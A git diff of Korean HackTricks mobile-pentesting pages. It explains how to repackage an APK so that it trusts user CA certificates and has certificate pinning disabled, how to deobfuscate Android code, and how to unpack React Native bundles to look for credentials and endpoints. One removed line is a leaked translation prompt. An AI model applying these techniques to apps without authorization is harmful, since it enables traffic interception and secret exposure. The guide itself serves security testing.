||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
|
**다음 링크를 확인하세요: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,53 +1,51 @@
|
||||||
# Make APK Accept CA Certificate
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않기 때문에 일부 앱의 웹 트래픽을 검사하려면 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않으므로, 일부 앱의 웹 트래픽을 검사하기 위해 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
||||||
|
|
||||||
## 자동
|
# Automatic
|
||||||
|
|
||||||
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)은 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하여 요청을 캡처하고 인증서 핀을 비활성화합니다(있는 경우).
|
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하고 인증서 핀닝을 비활성화합니다(있는 경우).
|
||||||
|
|
||||||
## 수동
|
# Manual
|
||||||
|
|
||||||
먼저 앱을 디컴파일합니다: `apktool d *file-name*.apk`
|
먼저 앱을 디컴파일합니다: `apktool d *file-name*.apk`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img9.png)
|
![](../../.gitbook/assets/img9.png)
|
||||||
|
|
||||||
그런 다음 **Manifest.xml** 파일로 이동하여 `<\application android>` 태그로 스크롤하고 다음 라인을 추가합니다(이미 있지 않은 경우):
|
그런 다음 **Manifest.xml** 파일로 들어가 `<\application android>` 태그로 스크롤하여 다음 줄이 이미 없으면 추가합니다:
|
||||||
|
|
||||||
`android:networkSecurityConfig="@xml/network_security_config`
|
`android:networkSecurityConfig="@xml/network_security_config`
|
||||||
|
|
||||||
추가하기 전:
|
추가 전:
|
||||||
|
|
||||||
![](../../.gitbook/assets/img10.png)
|
![](../../.gitbook/assets/img10.png)
|
||||||
|
|
||||||
추가한 후:
|
추가 후:
|
||||||
|
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
이제 **res/xml** 폴더로 이동하여 다음 내용으로 network\_security\_config.xml이라는 파일을 생성/수정하세요:
|
이제 **res/xml** 폴더로 들어가 network\_security\_config.xml이라는 파일을 다음 내용으로 생성/수정합니다:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -60,27 +58,28 @@
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
|
그런 다음 파일을 저장하고 모든 디렉토리에서 나와서 다음 명령어로 apk를 다시 빌드합니다: `apktool b *folder-name/* -o *output-file.apk*`
|
||||||
그런 다음 파일을 저장하고 모든 디렉토리에서 빠져나와 다음 명령을 사용하여 apk를 다시 빌드하십시오: `apktool b *폴더-이름/* -o *출력-파일.apk*`
|
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
마지막으로, **새 응용 프로그램에 서명**만 하면 됩니다. [이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽어서 어떻게 서명하는지 알아보세요](smali-changes.md#sing-the-new-apk).
|
마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt="" data-size="original">
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<summary><strong>제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
HackTricks를 지원하는 다른 방법:
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **HackTricks에 귀사의 광고를 보고 싶거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com) 받기
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 발견하기
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우하세요.**
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,64 +1,66 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **수동 **해독 기법**
|
## 수동 **디옵스큐레이션 기법**
|
||||||
|
|
||||||
**소프트웨어 보안** 영역에서 **암호화된 코드를 이해 가능한 형태로 만드는** 프로세스인 **해독**은 중요합니다. 이 가이드는 정적 분석 기법과 암호화 패턴 인식에 초점을 맞춘 다양한 해독 전략을 다룹니다. 또한 실제 응용 및 더 고급 주제를 탐구하려는 사람들을 위한 추가 자료를 제공합니다.
|
**소프트웨어 보안** 분야에서, 코드의 난독화를 이해할 수 있도록 만드는 과정인 **디옵스큐레이션**은 매우 중요합니다. 이 가이드는 디옵스큐레이션을 위한 다양한 전략을 다루며, 정적 분석 기법과 난독화 패턴 인식에 중점을 둡니다. 또한, 실용적인 적용을 위한 연습을 소개하고, 더 고급 주제를 탐구하고자 하는 이들을 위한 추가 자료를 제안합니다.
|
||||||
|
|
||||||
### **정적 해독을 위한 전략**
|
### **정적 디옵스큐레이션 전략**
|
||||||
|
|
||||||
**암호화된 코드**를 다룰 때, 암호화의 성격에 따라 여러 전략을 사용할 수 있습니다:
|
**난독화된 코드**를 다룰 때, 난독화의 성격에 따라 여러 가지 전략을 사용할 수 있습니다:
|
||||||
|
|
||||||
- **DEX 바이트 코드 (Java)**: 효과적인 접근 방법 중 하나는 응용 프로그램의 해독 방법을 식별한 다음 이러한 방법을 Java 파일에 복제하는 것입니다. 이 파일은 대상 요소의 암호화를 되돌리기 위해 실행됩니다.
|
- **DEX 바이트코드 (Java)**: 효과적인 접근법 중 하나는 애플리케이션의 디옵스큐레이션 메서드를 식별한 후, 이 메서드를 Java 파일에 복제하는 것입니다. 이 파일을 실행하여 대상 요소의 난독화를 되돌립니다.
|
||||||
- **Java 및 Native Code**: 다른 방법은 해독 알고리즘을 Python과 같은 스크립팅 언어로 변환하는 것입니다. 이 전략은 주요 목표가 알고리즘을 완전히 이해하는 것이 아니라 효과적으로 실행하는 것임을 강조합니다.
|
- **Java 및 네이티브 코드**: 또 다른 방법은 디옵스큐레이션 알고리즘을 Python과 같은 스크립팅 언어로 변환하는 것입니다. 이 전략은 주요 목표가 알고리즘을 완전히 이해하는 것이 아니라 효과적으로 실행하는 것임을 강조합니다.
|
||||||
|
|
||||||
### **암호화 인식**
|
### **난독화 인식하기**
|
||||||
|
|
||||||
암호화된 코드를 인식하는 것은 해독 프로세스의 첫 번째 단계입니다. 주요 지표는 다음과 같습니다:
|
난독화된 코드를 인식하는 것은 디옵스큐레이션 과정의 첫 번째 단계입니다. 주요 지표는 다음과 같습니다:
|
||||||
|
|
||||||
- Java 및 Android에서 **문자열의 부재 또는 섞임**은 문자열 암호화를 시사할 수 있습니다.
|
- Java 및 Android에서 **문자열의 부재 또는 혼란**이 있으며, 이는 문자열 난독화를 시사할 수 있습니다.
|
||||||
- 에셋 디렉토리에 **바이너리 파일의 존재** 또는 `DexClassLoader` 호출은 코드 해제 및 동적 로딩을 시사합니다.
|
- **자산 디렉토리의 바이너리 파일 존재** 또는 `DexClassLoader` 호출이 있으며, 이는 코드 언팩 및 동적 로딩을 암시합니다.
|
||||||
- **식별할 수 없는 JNI 함수와 함께 사용되는 네이티브 라이브러리의 사용**은 네이티브 메서드의 암호화를 시사합니다.
|
- **식별할 수 없는 JNI 함수와 함께 네이티브 라이브러리 사용**이 있으며, 이는 네이티브 메서드의 난독화를 나타낼 수 있습니다.
|
||||||
|
|
||||||
## **해독에서의 동적 분석**
|
## **디옵스큐레이션에서의 동적 분석**
|
||||||
|
|
||||||
제어된 환경에서 코드를 실행함으로써 동적 분석은 **암호화된 코드의 실시간 동작을 관찰**할 수 있게 합니다. 이 방법은 코드의 진정한 의도를 숨기기 위해 설계된 복잡한 암호화 패턴의 내부 작동을 효과적으로 발견하는 데 특히 효과적입니다.
|
제어된 환경에서 코드를 실행함으로써, 동적 분석은 **난독화된 코드가 실시간으로 어떻게 작동하는지를 관찰할 수 있게 해줍니다**. 이 방법은 코드의 진정한 의도를 숨기기 위해 설계된 복잡한 난독화 패턴의 내부 작동을 밝혀내는 데 특히 효과적입니다.
|
||||||
|
|
||||||
### **동적 분석의 응용**
|
### **동적 분석의 응용**
|
||||||
|
|
||||||
- **런타임 복호화**: 많은 암호화 기법은 런타임에서만 복호화되는 문자열이나 코드 세그먼트를 암호화합니다. 동적 분석을 통해 이러한 암호화된 요소를 복호화하는 순간에 포착하여 진정한 형태를 확인할 수 있습니다.
|
- **런타임 복호화**: 많은 난독화 기법은 문자열이나 코드 세그먼트를 암호화하며, 이는 런타임에만 복호화됩니다. 동적 분석을 통해 이러한 암호화된 요소는 복호화 순간에 캡처되어 그 진정한 형태를 드러낼 수 있습니다.
|
||||||
- **암호화 기법 식별**: 응용 프로그램의 동작을 모니터링함으로써 동적 분석은 코드 가상화, 패커 또는 동적 코드 생성과 같은 특정 암호화 기법을 식별하는 데 도움이 될 수 있습니다.
|
- **난독화 기법 식별**: 애플리케이션의 동작을 모니터링함으로써, 동적 분석은 코드 가상화, 패커 또는 동적 코드 생성과 같은 특정 난독화 기법을 식별하는 데 도움을 줄 수 있습니다.
|
||||||
- **숨겨진 기능 발견**: 암호화된 코드에는 정적 분석만으로는 알아차리기 어려운 숨겨진 기능이 포함될 수 있습니다. 동적 분석을 통해 조건에 따라 실행되는 모든 코드 경로를 관찰하여 이러한 숨겨진 기능을 발견할 수 있습니다.
|
- **숨겨진 기능 발견**: 난독화된 코드는 정적 분석만으로는 명백하지 않은 숨겨진 기능을 포함할 수 있습니다. 동적 분석은 조건부로 실행되는 모든 코드 경로를 관찰하여 이러한 숨겨진 기능을 밝혀낼 수 있습니다.
|
||||||
|
|
||||||
## 참고 자료 및 추가 독서
|
## 참고 문헌 및 추가 읽기
|
||||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||||
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||||
* 이 발표에서는 Android 애플리케이션에서 사용되는 가장 복잡한 안티 분석 네이티브 라이브러리 중 하나를 역공학하는 과정을 다룹니다. 이는 주로 네이티브 코드에서의 암호화 기법을 다룹니다.
|
* 이 발표는 제가 본 가장 복잡한 안티 분석 네이티브 라이브러리 중 하나를 리버스 엔지니어링하는 과정을 다룹니다. 주로 네이티브 코드의 난독화 기법을 다룹니다.
|
||||||
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||||
* 이 발표에서는 Java 코드만을 사용한 일련의 암호화 기법을 다루며, Android 봇넷이 동작을 숨기기 위해 사용한 기법입니다.
|
* 이 발표는 Android 봇넷이 행동을 숨기기 위해 사용한 일련의 난독화 기법을 Java 코드에서만 다룹니다.
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,66 +1,64 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# React Native 애플리케이션 분석
|
# React Native 애플리케이션 분석
|
||||||
|
|
||||||
애플리케이션이 React Native 프레임워크로 작성되었는지 확인하려면 다음 단계를 따르세요:
|
애플리케이션이 React Native 프레임워크로 구축되었는지 확인하려면 다음 단계를 따르세요:
|
||||||
|
|
||||||
1. APK 파일의 이름을 zip 확장자로 변경하고 `cp com.example.apk example-apk.zip` 및 `unzip -qq example-apk.zip -d ReactNative` 명령을 사용하여 새 폴더에 압축을 해제합니다.
|
1. APK 파일의 이름을 zip 확장자로 변경하고 `cp com.example.apk example-apk.zip` 및 `unzip -qq example-apk.zip -d ReactNative` 명령을 사용하여 새 폴더에 추출합니다.
|
||||||
|
|
||||||
2. 새로 생성된 ReactNative 폴더로 이동하고 assets 폴더를 찾습니다. 이 폴더 안에는 React JavaScript가 압축된 형식으로 포함된 `index.android.bundle` 파일이 있어야 합니다.
|
2. 새로 생성된 ReactNative 폴더로 이동하여 assets 폴더를 찾습니다. 이 폴더 안에는 minified 형식의 React JavaScript가 포함된 `index.android.bundle` 파일이 있어야 합니다.
|
||||||
|
|
||||||
3. `find . -print | grep -i ".bundle$"` 명령을 사용하여 JavaScript 파일을 검색합니다.
|
3. `find . -print | grep -i ".bundle$"` 명령을 사용하여 JavaScript 파일을 검색합니다.
|
||||||
|
|
||||||
JavaScript 코드를 더 자세히 분석하기 위해 동일한 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 추가하세요:
|
JavaScript 코드를 추가로 분석하려면, 동일한 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 입력합니다:
|
||||||
```html
|
```html
|
||||||
<script src="./index.android.bundle"></script>
|
<script src="./index.android.bundle"></script>
|
||||||
```
|
```
|
||||||
다음은 React Native 애플리케이션의 파일 /hive/hacktricks/mobile-pentesting/android-app-pentesting/react-native-application.md에서의 내용입니다. 관련된 영어 텍스트를 한국어로 번역하고, 정확히 동일한 마크다운 및 HTML 구문을 유지한 채 번역을 반환하세요. 코드, 해킹 기법 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...), 'leak'이라는 단어, pentesting 및 마크다운 태그와 같은 항목은 번역하지 마세요. 또한 번역 및 마크다운 구문 이외의 추가 내용은 추가하지 마세요.
|
You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps:
|
||||||
|
|
||||||
```markdown
|
|
||||||
파일을 [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/)에 업로드하거나 다음 단계를 따르세요:
|
|
||||||
|
|
||||||
1. Google Chrome에서 `index.html` 파일을 엽니다.
|
1. Google Chrome에서 `index.html` 파일을 엽니다.
|
||||||
|
|
||||||
2. **OS X의 경우 Command+Option+J** 또는 **Windows의 경우 Control+Shift+J**를 눌러 개발자 도구 모음을 엽니다.
|
2. **OS X의 경우 Command+Option+J** 또는 **Windows의 경우 Control+Shift+J**를 눌러 개발자 도구를 엽니다.
|
||||||
|
|
||||||
3. 개발자 도구 모음에서 "Sources"를 클릭합니다. 주요 번들을 구성하는 폴더와 파일로 분할된 JavaScript 파일을 볼 수 있어야 합니다.
|
3. 개발자 도구에서 "Sources"를 클릭합니다. 폴더와 파일로 나뉘어진 JavaScript 파일이 보일 것입니다. 이는 주요 번들을 구성합니다.
|
||||||
|
|
||||||
`index.android.bundle.map`이라는 파일을 찾으면 소스 코드를 비압축 형식으로 분석할 수 있습니다. 맵 파일에는 압축된 식별자를 매핑할 수 있는 소스 매핑이 포함되어 있습니다.
|
`index.android.bundle.map`이라는 파일을 찾으면, 비축소 형식으로 소스 코드를 분석할 수 있습니다. 맵 파일은 소스 매핑을 포함하고 있어, 축소된 식별자를 매핑할 수 있습니다.
|
||||||
|
|
||||||
민감한 자격 증명 및 엔드포인트를 검색하려면 다음 단계를 따르세요:
|
민감한 자격 증명 및 엔드포인트를 검색하려면 다음 단계를 따르십시오:
|
||||||
|
|
||||||
1. JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 서비스 엔드포인트, 개인 키 등과 같은 타사 서비스를 사용합니다.
|
1. JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 서비스 엔드포인트, 개인 키 등과 같은 서드파티 서비스를 사용합니다.
|
||||||
|
|
